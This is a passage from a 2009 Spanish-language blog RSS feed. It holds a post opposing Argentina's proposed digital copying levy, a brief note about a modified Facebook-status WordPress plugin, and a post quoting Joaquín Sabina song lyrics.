<p>Si aún ahora seguís preguntándote de que va esto te comento: El canon digital es la genialidad de cargar una tasa los medios y soportes de grabación para dársela a las entidades que gestionan los derechos de autor, para compensar lo que pierden por copias ilegales. La idea es: &#8220;no podemos cobrarles a aquellos que hacen copias ilegales, así que les cobramos a todos los que hace una copia de lo que sea, sea o no mío, por las dudas. Así, si alguien compra una quemadora de CDs, es obvio que va a hacer copias de algo, por lo que a los <em>n</em> duros del precio de venta de la quemadora, se le suma otros <em>m</em> que van para compensar lo que posiblemente no percibamos por las copias ilegales que potencialmente puede hacer. Ocurre lo mismo con los compradores de CDs vírgenes, memorias, disco rígidos o lo que sea que pueda llegar a tener una copia ilegal de algo nuestro.&#8221; Obviamente, incluso habiendo pagado el canon, una copia ilegal sigue siendo ilegal, con lo que es perseguible, denunciable y penable.</p>
<p>Incluso ahora puede que te sigas preguntando porque traigo este tema al blog. El canon existe, pero lejos de acá, Argentina. La mayoría de los países que aplican este tipo de cosas están en Europa y América del Norte, lejos de esta punta del continente. Y sería un razonamiento cierto, hasta que nuestro viejo <a href="http://www.google.com/search?q="daniel+filmus"+microsoft">amigo</a> <a href="http://www.danielfilmus.com.ar">Daniel Filmus</a> entra en escena. Hace uno días el legislador en cuestión <a href="http://www.danielfilmus.com.ar/notas.php?mon=936&#038;id=1935">se reunión con representantes de entidades defensoras de los derechos de autor</a> para reflotar la idea de implementar el canon digital en Argentina. Digo <em>reflotar</em> porque ya <a href="http://www.google.com/search?q=Morgado+canon">Claudio Morgado lo había intentado</a> hacía meses.</p>
<p>Así que estás enterado. <a href="http://www.vialibre.org.ar/2009/02/06/gieco_y_filmus_quieren_tu_dinero/">Hay gente que quiere tu plata, la merezca o no</a>. Solo vos podés evitar que eso ocurra. Por eso hoy <a href="http://www.vialibre.org.ar/2009/02/16/18-de-febrero-reunion-abierta-para-discutir-el-canon-digital/">nos reunimos a las 7pm en Buenos Aires</a> para ver como nos vamos a parar de manos a semejante atropello.</p>
<p>Más información sobre el canon digital en:</p>
<li> <a href="http://www.vialibre.org.ar/2009/02/13/%C2%BFpara-que-sirven-las-discograficas-y-las-gestoras-colectivas/">¿qué tiene en común la industria discográfica y la de la distribución de hielo en barra?</a>
<li><a href="http://www.vialibre.org.ar/2009/02/17/queremos-hacer-oir-la-otra-campana-sobre-el-canon-digital/">Adherite a la carta de repudio que se le enviará a Filmus</a>.
<li>Página web de <em><a href="http://noalcanon.org/">no al canon</a></em>.
<li>Movimiento contra el canon en España: <a href="http://www.todoscontraelcanon.es/">Todos contra el canon</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/remuneracion-compensatoria-por-copia-privada-de-aca/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>conectando facebook con wordpress</title>
		<link>http://www.lucianobello.com.ar/post/conectando-facebook-con-wordpress/</link>
		<comments>http://www.lucianobello.com.ar/post/conectando-facebook-con-wordpress/#comments</comments>
		<pubDate>Sat, 14 Feb 2009 22:38:58 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1114</guid>
		<description><![CDATA[Dado que mi status de Facebook degeneró en microblogging, instalé (y modifiqué levemente) este plugin de Brian Goad. Mi versión modificada puede bajarse de aquí y permite folding y publicar el RSS del status para sindicar. Esta última opción hace pública tu key. Siendo que es obvio que tu status es público y que no [...]]]></description>
			<content:encoded><![CDATA[<p>Dado que mi status de Facebook degeneró en microblogging, instalé (y modifiqué levemente) <a href="http://www.briandgoad.com/blog/status-press-widget">este</a> plugin de <a href="http://www.briandgoad.com">Brian Goad</a>.</p>
<p>Mi versión modificada puede bajarse de <a href="http://www.lucianobello.com.ar/wp-content/plugins/status-feed-widget-1.0.1.tar.gz">aquí</a> y permite <em>folding</em> y publicar el RSS del status para sindicar. Esta última opción hace pública tu <em>key</em>. Siendo que es obvio que tu status es público y que no podes usarlo para cosas sensibles.. ¿a alguien se le ocurre las consecuencias que esto conlleva?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/conectando-facebook-con-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>tan joven y tan viejo&#8230;</title>
		<link>http://www.lucianobello.com.ar/post/tan-joven-y-tan-viejo/</link>
		<comments>http://www.lucianobello.com.ar/post/tan-joven-y-tan-viejo/#comments</comments>
		<pubDate>Tue, 10 Feb 2009 21:13:31 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[depression]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1112</guid>
		<description><![CDATA[Creo que nunca postié una letra de canción. De hecho, suelo odiarlo cuando otros lo hacen. Pero hoy me refleja tanto que es más fuerte que yo&#8230; Para borrar mis huellas destrocé mi camisa, confundí con estrellas las luces de neón. Hice trampas al poker. Defraudé a mis amigos. Sobre el banco de un parque, [...]]]></description>
			<content:encoded><![CDATA[<p>Creo que nunca postié una letra de canción. De hecho, suelo odiarlo cuando otros lo hacen. Pero hoy me refleja tanto que es más fuerte que yo&#8230;</p>
<blockquote><p>Para borrar mis huellas<br />
destrocé mi camisa,<br />
confundí con estrellas<br />
las luces de neón.</p>
<p>Hice trampas al poker.<br />
Defraudé a mis amigos.<br />
Sobre el banco de un parque,<br />
dormí como un lirón</p>
<p>Por decir lo que pienso,<br />
sin pensar lo que digo,<br />
más de un beso me dieron<br />
y más de un bofetón.</p>
<p>Lo que sé del olvido<br />
lo aprendí de la luna.<br />
Lo que sé del pecado<br />
lo tuve que buscar</p>
<p>como un ladrón debajo<br />
de las faldas de algunas<br />
de cuyo nombre ahora<br />
no me quiero acordar.</p></blockquote>
<p style="text-align: right;"><a href="http://www.last.fm/music/Joaqu%C3%ADn+Sabina/_/Tan+joven+y+tan+viejo">Joaquín</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/tan-joven-y-tan-viejo/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

